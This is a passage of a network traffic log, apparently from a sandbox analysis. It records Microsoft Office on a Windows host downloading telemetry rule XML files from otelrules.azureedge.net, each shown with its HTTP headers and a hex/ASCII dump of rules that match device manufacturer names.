2024-11-21 21:34:11 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:11 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6a83a5f2-e01e-000c-157b-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213411Z-178bfbc474btvfdfhC1NYCa2en000000024g00000000att1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:12 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:11 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:11 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 3af7945d-501e-0016-1564-3b181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213411Z-178bfbc474bxkclvhC1NYC69g4000000022g0000000010pc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:12 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:11 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:11 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 3029707a-401e-0047-3163-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213411Z-178bfbc474bscnbchC1NYCe7eg00000002200000000135s5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:12 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:13 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:13 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213413Z-178bfbc474bw8bwphC1NYC38b400000001vg00000000m6cu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:14 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:13 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:14 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 76e93f39-101e-0034-5559-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213414Z-178bfbc474bv7whqhC1NYC1fg4000000024g000000000wd0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:13 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:14 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:14 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213414Z-174c587ffdf8lw6dhC1TEBkgs800000000hg000000000rr0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:14 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:13 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:14 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:14 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 20caaba8-701e-005c-0363-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213414Z-178bfbc474bxkclvhC1NYC69g400000001v00000000101fr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:14 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:14 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:14 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: bf14eb60-501e-007b-507b-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213414Z-174c587ffdfmlsmvhC1TEBvyks00000000qg000000008n1m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:15 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:15 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:16 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:16 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 20e2cd06-701e-005c-2869-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213416Z-178bfbc474bgvl54hC1NYCsfuw000000020000000000mrfd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:16 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:16 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:16 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:16 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4b4d3db7-601e-003d-0147-3c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213416Z-178bfbc474b7cbwqhC1NYC8z4n00000001yg00000000fpnr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:16 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:16 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:16 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: d277967d-801e-0047-0163-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213416Z-178bfbc474bpnd5vhC1NYC4vr4000000022000000000bu10 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:16 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:16 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:16 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213416Z-174c587ffdf8fcgwhC1TEBnn7000000000n000000000qpew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:16 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" 